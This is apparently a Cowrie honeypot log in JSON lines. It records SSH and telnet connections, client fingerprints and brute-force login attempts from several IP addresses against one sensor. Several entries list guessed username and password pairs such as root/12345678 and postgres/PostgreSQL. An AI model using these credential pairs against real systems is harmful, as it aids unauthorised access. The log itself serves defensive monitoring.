{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:39:59.734553Z","src_ip":"122.168.114.167","session":"921e00927e4c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.198678493499756,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:40:13.387243Z","src_ip":"212.47.75.195","session":"50c32dbc4745","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"odoo18","password":"odoo18","message":"login attempt [odoo18/odoo18] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:40:14.001822Z","src_ip":"122.168.114.167","session":"921e00927e4c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.031838178634644,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:40:15.274534Z","src_ip":"212.47.75.195","session":"2ccb5b34a91e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"21.8","message":"Connection lost after 21.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:40:18.539679Z","src_ip":"122.168.114.167","session":"921e00927e4c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.182.132.154","src_port":56228,"dst_ip":"159.203.135.109","dst_port":22,"session":"e4958497ed1a","protocol":"ssh","message":"New connection: 103.182.132.154:56228 (159.203.135.109:22) [session: e4958497ed1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:40:35.906187Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:40:35.910938Z","src_ip":"103.182.132.154","session":"e4958497ed1a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:40:36.133335Z","src_ip":"103.182.132.154","session":"e4958497ed1a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"0000000","message":"login attempt [ubuntu/0000000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:40:37.027827Z","src_ip":"103.182.132.154","session":"e4958497ed1a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":40014,"dst_ip":"159.203.135.109","dst_port":22,"session":"5eb391950e09","protocol":"ssh","message":"New connection: 122.168.114.167:40014 (159.203.135.109:22) [session: 5eb391950e09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:40:37.616409Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:40:38.246250Z","src_ip":"103.182.132.154","session":"e4958497ed1a","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:40:40.161275Z","src_ip":"122.168.114.167","session":"5eb391950e09","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:40:40.249515Z","src_ip":"122.168.114.167","session":"5eb391950e09","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.45.177","src_port":11686,"dst_ip":"159.203.135.109","dst_port":22,"session":"9ea95c09c776","protocol":"ssh","message":"New connection: 159.223.45.177:11686 (159.203.135.109:22) [session: 9ea95c09c776]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:40:43.186961Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":35290,"dst_ip":"159.203.135.109","dst_port":22,"session":"ee2f2cf3f1ad","protocol":"ssh","message":"New connection: 159.203.92.129:35290 (159.203.135.109:22) [session: ee2f2cf3f1ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:40:43.522554Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:40:43.527581Z","src_ip":"159.203.92.129","session":"ee2f2cf3f1ad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:40:43.533335Z","src_ip":"159.203.92.129","session":"ee2f2cf3f1ad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"at","password":"!QAZxsw2","message":"login attempt [at/!QAZxsw2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:40:43.546241Z","src_ip":"159.203.92.129","session":"ee2f2cf3f1ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:40:44.552725Z","src_ip":"159.203.92.129","session":"ee2f2cf3f1ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.224.229","src_port":29226,"dst_ip":"159.203.135.109","dst_port":23,"session":"b4807fae1a89","protocol":"telnet","message":"New connection: 66.132.224.229:29226 (159.203.135.109:23) [session: b4807fae1a89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:40:48.081343Z"}
{"eventid":"cowrie.login.failed","username":"ranger","password":"ranger","message":"login attempt [ranger/ranger] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:40:52.254341Z","src_ip":"122.168.114.167","session":"5eb391950e09","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"18.3","message":"Connection lost after 18.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:40:55.943035Z","src_ip":"122.168.114.167","session":"5eb391950e09","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"13.8","message":"Connection lost after 13.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:40:56.946130Z","src_ip":"159.223.45.177","session":"9ea95c09c776","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.4.106.201","src_port":36878,"dst_ip":"159.203.135.109","dst_port":22,"session":"893609fd69d6","protocol":"ssh","message":"New connection: 202.4.106.201:36878 (159.203.135.109:22) [session: 893609fd69d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:41:00.438296Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:41:00.443758Z","src_ip":"202.4.106.201","session":"893609fd69d6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:41:00.710901Z","src_ip":"202.4.106.201","session":"893609fd69d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"PostgreSQL","message":"login attempt [postgres/PostgreSQL] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:41:01.805332Z","src_ip":"202.4.106.201","session":"893609fd69d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:41:03.073664Z","src_ip":"202.4.106.201","session":"893609fd69d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":15.31993317604065,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:41:03.401093Z","src_ip":"66.132.224.229","session":"b4807fae1a89","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.47.75.195","src_port":55318,"dst_ip":"159.203.135.109","dst_port":23,"session":"bb948ba7849b","protocol":"telnet","message":"New connection: 212.47.75.195:55318 (159.203.135.109:23) [session: bb948ba7849b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:41:07.098666Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.224.229","src_port":46168,"dst_ip":"159.203.135.109","dst_port":23,"session":"bdb6aeda65ac","protocol":"telnet","message":"New connection: 66.132.224.229:46168 (159.203.135.109:23) [session: bdb6aeda65ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:41:07.173889Z"}
{"eventid":"cowrie.session.closed","duration":3.5931766033172607,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:41:10.766922Z","src_ip":"66.132.224.229","session":"bdb6aeda65ac","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.172.176","src_port":3308,"dst_ip":"159.203.135.109","dst_port":23,"session":"d2f990cd78fc","protocol":"telnet","message":"New connection: 66.132.172.176:3308 (159.203.135.109:23) [session: d2f990cd78fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:41:12.542226Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.224.229","src_port":49842,"dst_ip":"159.203.135.109","dst_port":23,"session":"a69f4d9e06e7","protocol":"telnet","message":"New connection: 66.132.224.229:49842 (159.203.135.109:23) [session: a69f4d9e06e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:41:14.624760Z"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":42418,"dst_ip":"159.203.135.109","dst_port":22,"session":"69e35b0bfc12","protocol":"ssh","message":"New connection: 122.168.114.167:42418 (159.203.135.109:22) [session: 69e35b0bfc12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:41:19.457698Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:41:21.281466Z","src_ip":"122.168.114.167","session":"69e35b0bfc12","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:41:21.286090Z","src_ip":"122.168.114.167","session":"69e35b0bfc12","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":11.005268812179565,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:41:25.629884Z","src_ip":"66.132.224.229","session":"a69f4d9e06e7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":15.700775623321533,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:41:28.242864Z","src_ip":"66.132.172.176","session":"d2f990cd78fc","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345678","message":"login attempt [root/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:41:28.359103Z","src_ip":"122.168.114.167","session":"69e35b0bfc12","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.47.75.195","src_port":55384,"dst_ip":"159.203.135.109","dst_port":23,"session":"be7dd1c094ed","protocol":"telnet","message":"New connection: 212.47.75.195:55384 (159.203.135.109:23) [session: be7dd1c094ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:41:29.067228Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":44740,"dst_ip":"159.203.135.109","dst_port":22,"session":"c9d35c46591e","protocol":"ssh","message":"New connection: 159.203.92.129:44740 (159.203.135.109:22) [session: c9d35c46591e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:41:29.897722Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:41:29.904912Z","src_ip":"159.203.92.129","session":"c9d35c46591e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:41:29.909281Z","src_ip":"159.203.92.129","session":"c9d35c46591e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"at","password":"0000000","message":"login attempt [at/0000000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:41:29.919549Z","src_ip":"159.203.92.129","session":"c9d35c46591e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:41:30.931500Z","src_ip":"159.203.92.129","session":"c9d35c46591e","protocol":"ssh"}
